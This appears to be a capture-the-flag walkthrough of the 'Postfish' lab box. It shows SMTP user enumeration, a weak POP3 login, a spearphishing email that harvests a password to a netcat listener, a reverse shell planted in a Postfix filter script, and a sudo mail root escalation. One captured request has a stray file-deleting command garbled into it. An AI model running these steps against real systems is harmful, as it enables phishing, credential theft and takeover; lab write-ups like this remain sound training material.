Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
25/tcp open smtp Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376 0d7f 8cb1 2db9 fedd 1809 463e 94c2
| SHA-1: 63ab a073 44fd 01a2 489f c9a0 8f50 de80 f33c 6895
|_SHA-256: ea6b 3963 fc63 b6ca 988b a6fe 75ec 6034 58e2 0d97 19a3 9b5a 5c97 151a 9a68 7893
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376 0d7f 8cb1 2db9 fedd 1809 463e 94c2
| SHA-1: 63ab a073 44fd 01a2 489f c9a0 8f50 de80 f33c 6895
|_SHA-256: ea6b 3963 fc63 b6ca 988b a6fe 75ec 6034 58e2 0d97 19a3 9b5a 5c97 151a 9a68 7893
143/tcp open imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376 0d7f 8cb1 2db9 fedd 1809 463e 94c2
| SHA-1: 63ab a073 44fd 01a2 489f c9a0 8f50 de80 f33c 6895
|_SHA-256: ea6b 3963 fc63 b6ca 988b a6fe 75ec 6034 58e2 0d97 19a3 9b5a 5c97 151a 9a68 7893
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376 0d7f 8cb1 2db9 fedd 1809 463e 94c2
| SHA-1: 63ab a073 44fd 01a2 489f c9a0 8f50 de80 f33c 6895
|_SHA-256: ea6b 3963 fc63 b6ca 988b a6fe 75ec 6034 58e2 0d97 19a3 9b5a 5c97 151a 9a68 7893
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376 0d7f 8cb1 2db9 fedd 1809 463e 94c2
| SHA-1: 63ab a073 44fd 01a2 489f c9a0 8f50 de80 f33c 6895
|_SHA-256: ea6b 3963 fc63 b6ca 988b a6fe 75ec 6034 58e2 0d97 19a3 9b5a 5c97 151a 9a68 7893
|_pop3-capabilities: CAPA TOP SASL(PLAIN) USER AUTH-RESP-CODE UIDL RESP-CODES PIPELINING
|_ssl-date: TLS randomness does not represent time
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 34.154 days (since Sat Jul 11 11:04:04 2026)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: postfish.off; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
On website there is alist of employees. Used usernameanarchy to get a list of potential usernames.
Used smtp-user-enum to get valid users.
┌──(kali㉿kali)-[~/ProvingGrounds/Postfish]
└─$ ./smtp-user-enum.pl -U users.txt -D postfish.off -t 192.168.208.137
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... users.txt
Target count ............. 1
Username count ........... 58
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ postfish.off
######## Scan started at Fri Aug 14 15:09:37 2026 #########
192.168.208.137: claire.madison@postfish.off exists
192.168.208.137: mike.ross@postfish.off exists
192.168.208.137: brian.moore@postfish.off exists
192.168.208.137: sarah.lorem@postfish.off exists
######## Scan completed at Fri Aug 14 15:10:12 2026 #########
4 results.
Cleaned list
┌──(kali㉿kali)-[~/ProvingGrounds/Postfish]
└─$ awk -F " " '{print $2}' validusers.txt
claire.madison@postfish.off
mike.ross@postfish.off
brian.moore@postfish.off
sarah.lorem@postfish.off
We also can run smt-user-enum against the namex.txt list from seclists and we find.
sales
hr
Hydra brute-forcing against a list we made with cewl
┌──(kali㉿kali)-[~/ProvingGrounds/Postfish]
└─$ cewl -d 5 -m 3 http://postfish.off/team.html -w /home/kali/Desktop/cewl.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
LIST
+OK 1 messages:
1 683
.
RETR 1
+OK 683 octets
Return-Path: <it@postfish.off>
X-Original-To: sales@postfish.off
Delivered-To: sales@postfish.off
Received: by postfish.off (Postfix, from userid 997)
id B277B45445; Wed, 31 Mar 2021 13:14:34 +0000 (UTC)
Received: from x (localhost [127.0.0.1])
by postfish.off (Postfix) with SMTP id 7712145434
for <sales@postfish.off>; Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
Subject: ERP Registration Reminder
Message-Id: <20210331131139.7712145434@postfish.off>
Date: Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
From: it@postfish.off
Hi Sales team,
We will be sending out password reset links in the upcoming week so that we can get you registered on the ERP system.
Regards,
IT
We can spearphish an employee to get his credentials.
Set up a nc listener on 80.
Connect to SMTP on 25.
nc -v postfish.off 25
┌──(kali㉿kali)-[~/ProvingGrounds/Postfish]
└─$ nc -v postfish.off 25
postfish.off [192.168.208.137] 25 (smtp) open
220 postfish.off ESMTP Postfix (Ubuntu)
helo test
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Password reset
Hi Brian,
Follow this link to reset your password: http://192.168.45.226/
Thanks,
<CR><LF>
.
250 2.0.0 Ok: queued as 60C1D40365
500 5.5.2 Error: bad syntax
QUIT
221 2.0.0 Bye
┌──(kali㉿kali)-[~/ProvingGrounds/Postfish]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.226] from (UNKNOWN) [192.168.208.137] 36328
POST / HTTP/1.1
Host: 192.168.45.226
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
first_name%3DBrian%26last_name%3DMoore%26email%3Dbrian.moore%postfish.off%26username%3Dbrian.moore%26password%3DEternaLSunshinE%26confifind /var/mail/ -type f ! -name sales -delete_password%3DEternaLSunshinE
We try his credentials on SSH and they work
Grab local.txt
Privileg Escalation
FROM A GUIDE:
I then transferred linpeas over to the target machine. After running we identify being a member of the ‘filter’ group which is a non default group. We also find /etc/postfix/disclaimer as being of interest.


A Google search on ‘postfix disclaimer’ results in the following being the first result on Google: https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
Looking through this it seems the admin on the box has followed the included steps to install and configure alterMIME to get disclaimers appended to emails.

Reading through the article essentially we see that for any emails included in the file /etc/postfix/disclaimer_addresses. When any of these addresses send or recieve an email the following file gets executed /etc/postfix/disclaimer. The file takes the contents of /etc/postfix/disclaimer.txt and appends it to the emails.
As we are a member the group ‘filter’ we can edit the script /etc/postfix/disclaimer. Using nano to edit the script I inserted a bash reverse shell to the top of the script.

Then like we did earlier I connected to SMTP with netcat and sent an email to trigger the shell.
helo test
MAIL FROM: it@postfish.off
RCPT TO: brian.moore@postfish.off
DATA
Shell please
.
QUIT

After doing so we should receive a shell.

From here I checked sudo permissions with sudo -l and found that we can run the mail binary as any user without a password.

Referring to GTFOBins
we can use this to gain a root shell.

sudo mail --exec='!/bin/bash'
We then gain a root shell.
